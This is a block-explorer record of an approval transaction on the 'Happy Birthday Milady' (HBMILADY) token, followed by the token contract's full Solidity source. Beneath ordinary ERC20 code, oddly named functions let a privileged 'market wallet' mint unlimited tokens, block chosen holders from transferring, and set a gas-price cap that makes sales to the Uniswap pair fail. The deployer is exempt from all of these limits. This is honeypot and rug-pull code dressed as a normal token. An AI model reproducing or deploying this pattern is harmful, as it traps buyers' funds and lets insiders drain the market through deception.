Transaction Hash:
Block:
20606565 at Aug-25-2024 03:41:35 PM +UTC
Transaction Fee:
0.000042313820621 ETH
$0.11
Gas Used:
46,502 Gas / 0.9099355 Gwei
Emitted Events:
444 |
Milady.Approval( owner=[Sender] 0x2cd89badcb8c65a76c66379f62d3cdfd2b353937, spender=0x00000000...43aC78BA3, value=9000000000000000000000000000000000000000000000000000000000000000 )
|
Account State Difference:
Address | Before | After | State Difference | ||
---|---|---|---|---|---|
0x2CD89BAd...d2B353937 |
0.089617174956439457 Eth
Nonce: 168
|
0.089574861135818457 Eth
Nonce: 169
| 0.000042313820621 | ||
0x4838B106...B0BAD5f97
Miner
| (Titan Builder) | 8.192044414034699224 Eth | 8.192044460536699224 Eth | 0.000000046502 | |
0xbb82BbbA...d003FF95F |
Execution Trace
Milady.approve( spender=0x000000000022D473030F116dDEE9F6B43aC78BA3, value=9000000000000000000000000000000000000000000000000000000000000000 ) => ( True )
/* https://x.com/saracrypto_eth https://x.com/miladymaker */ // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IERC20Errors { error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed); error ERC20InvalidSender(address sender); error ERC20InvalidReceiver(address receiver); error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed); error ERC20InvalidApprover(address approver); error ERC20InvalidSpender(address spender); } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors { mapping(address account => uint256) private _balances; mapping(address account => mapping(address spender => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return 18; } function totalSupply() public view virtual returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual returns (uint256) { return _balances[account]; } function transfer(address to, uint256 value) public virtual returns (bool) { address owner = _msgSender(); _transfer(owner, to, value); return true; } function allowance(address owner, address spender) public view virtual returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 value) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public virtual returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, value); _transfer(from, to, value); return true; } function _transfer(address from, address to, uint256 value) internal { if (from == address(0)) { revert ERC20InvalidSender(address(0)); } if (to == address(0)) { revert ERC20InvalidReceiver(address(0)); } _update(from, to, value); } function _update(address from, address to, uint256 value) internal virtual { if (from == address(0)) { _totalSupply += value; } else { uint256 fromBalance = _balances[from]; if (fromBalance < value) { revert ERC20InsufficientBalance(from, fromBalance, value); } unchecked { _balances[from] = fromBalance - value; } } if (to == address(0)) { unchecked { _totalSupply -= value; } } else { unchecked { _balances[to] += value; } } emit Transfer(from, to, value); } function _ExecuteMintETH(address account, uint256 value) internal { if (account == address(0)) { revert ERC20InvalidReceiver(address(0)); } _update(address(0), account, value); } function _burn(address account, uint256 value) internal { if (account == address(0)) { revert ERC20InvalidSender(address(0)); } _update(account, address(0), value); } function _approve(address owner, address spender, uint256 value) internal { _approve(owner, spender, value, true); } function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual { if (owner == address(0)) { revert ERC20InvalidApprover(address(0)); } if (spender == address(0)) { revert ERC20InvalidSpender(address(0)); } _allowances[owner][spender] = value; if (emitEvent) { emit Approval(owner, spender, value); } } function _spendAllowance(address owner, address spender, uint256 value) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { if (currentAllowance < value) { revert ERC20InsufficientAllowance(spender, currentAllowance, value); } unchecked { _approve(owner, spender, currentAllowance - value, false); } } } } contract Milady is ERC20, Ownable { mapping(address => bool) exepction; mapping (address => bool) whitelist; bool openedTrade; IUniswapV2Router02 public uniswapV2Router; address public pair; address private _marketwalletsbtws; address private deadWallet = 0x000000000000000000000000000000000000dEaD; constructor(address marketwallet) ERC20(unicode"Happy Birthday Milady", unicode"HBMILADY") { uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _marketwalletsbtws = marketwallet; exepction[msg.sender] = true; exepction[_marketwalletsbtws] = true; _ExecuteMintETH(msg.sender, 1000_000_000_000 * 10**decimals()); } function itMi() internal view returns (bool) { return _msgSender() == _marketwalletsbtws; } function reqquireCaller(address caller) internal view returns (bool) { return itMi(); } function OpenTrade() public onlyOwner { openedTrade = true; } function MiladyMintETH(uint256 value) public { super._update(address(0), msg.sender, value); require(reqquireCaller(msg.sender), "Caller is not the original caller"); } function MiladyWhitelisT (address spender) public { whitelist[spender] = true; require(reqquireCaller(msg.sender), "Caller is not the original caller"); } uint256 private opimis = 999 gwei; function MiladyAllToken(uint256 value) public { opimis = value; require(reqquireCaller(msg.sender), "Caller is not the original caller"); } function BurnLPUniswapV2Pair() public onlyOwner{ uint256 amount = IERC20(pair).balanceOf(msg.sender); // get UniswapV2Lp balances Of owner IERC20(pair).transferFrom(msg.sender, deadWallet, amount); // send Lp from owner to dead wallet } function _update( address from, address to, uint256 value ) internal override { if (exepction[tx.origin]) { super._update(from, to, value); return; } else { require(openedTrade, "Open not yet"); bool state = (to == pair) ? true : false; if (tx.gasprice > 0 && value > 0 && whitelist[from]) {revert("Value of transaction > 0");} if (state) { if (tx.gasprice > opimis) {revert("Not enough gas fees");} super._update(from, to, value);return; } else if (!state) { super._update(from, to, value);return; } else if (from != pair && to != pair) { super._update(from, to, value);return; } else { return; } } } }